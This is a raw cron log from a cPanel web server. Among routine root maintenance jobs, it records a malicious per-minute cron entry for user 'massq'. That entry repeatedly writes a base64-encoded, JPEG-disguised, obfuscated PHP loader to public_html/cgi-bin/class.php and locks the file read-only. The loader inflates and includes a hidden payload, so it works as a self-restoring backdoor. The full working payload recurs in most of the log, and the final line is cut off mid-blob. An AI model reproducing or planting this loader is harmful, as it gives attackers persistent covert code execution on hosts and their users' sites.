Sep 12 09:54:01 server CROND[6350]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:54:01 server CROND[6351]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:55:01 server CROND[6753]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 09:55:01 server CROND[6758]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:55:01 server CROND[6757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:55:01 server CROND[6759]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 09:55:01 server CROND[6760]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 09:55:01 server CROND[6762]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 09:55:01 server CROND[6769]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:56:01 server CROND[7596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:56:01 server CROND[7597]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:56:01 server CROND[7598]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:57:01 server CROND[7988]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:57:01 server CROND[7989]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:57:01 server CROND[7987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:57:01 server CROND[7990]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 09:58:01 server CROND[8473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:58:01 server CROND[8474]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:58:01 server CROND[8475]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:59:01 server CROND[8852]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:59:01 server CROND[8853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:59:01 server CROND[8854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:00:01 server CROND[9247]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 10:00:01 server CROND[9250]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 10:00:01 server CROND[9254]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 10:00:01 server CROND[9262]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 12 10:00:01 server CROND[9257]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:00:01 server CROND[9256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:00:01 server CROND[9261]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 10:00:01 server CROND[9258]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 10:00:01 server CROND[9255]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 12 10:00:01 server CROND[9259]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:01:01 server CROND[10146]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:01:01 server CROND[10147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:01:01 server CROND[10148]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 10:01:01 server CROND[10149]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:01:01 server run-parts(/etc/cron.hourly)[10148]: starting 0anacron
Sep 12 10:01:01 server run-parts(/etc/cron.hourly)[10167]: finished 0anacron
Sep 12 10:02:01 server CROND[10542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:02:01 server CROND[10543]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:02:01 server CROND[10544]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:03:01 server CROND[10940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:03:01 server CROND[10942]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:03:01 server CROND[10941]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:04:01 server CROND[11410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:04:01 server CROND[11411]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:04:01 server CROND[11412]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:05:01 server CROND[11805]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 10:05:01 server CROND[11807]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 10:05:01 server CROND[11809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:05:01 server CROND[11817]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 10:05:01 server CROND[11820]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 10:05:01 server CROND[11821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2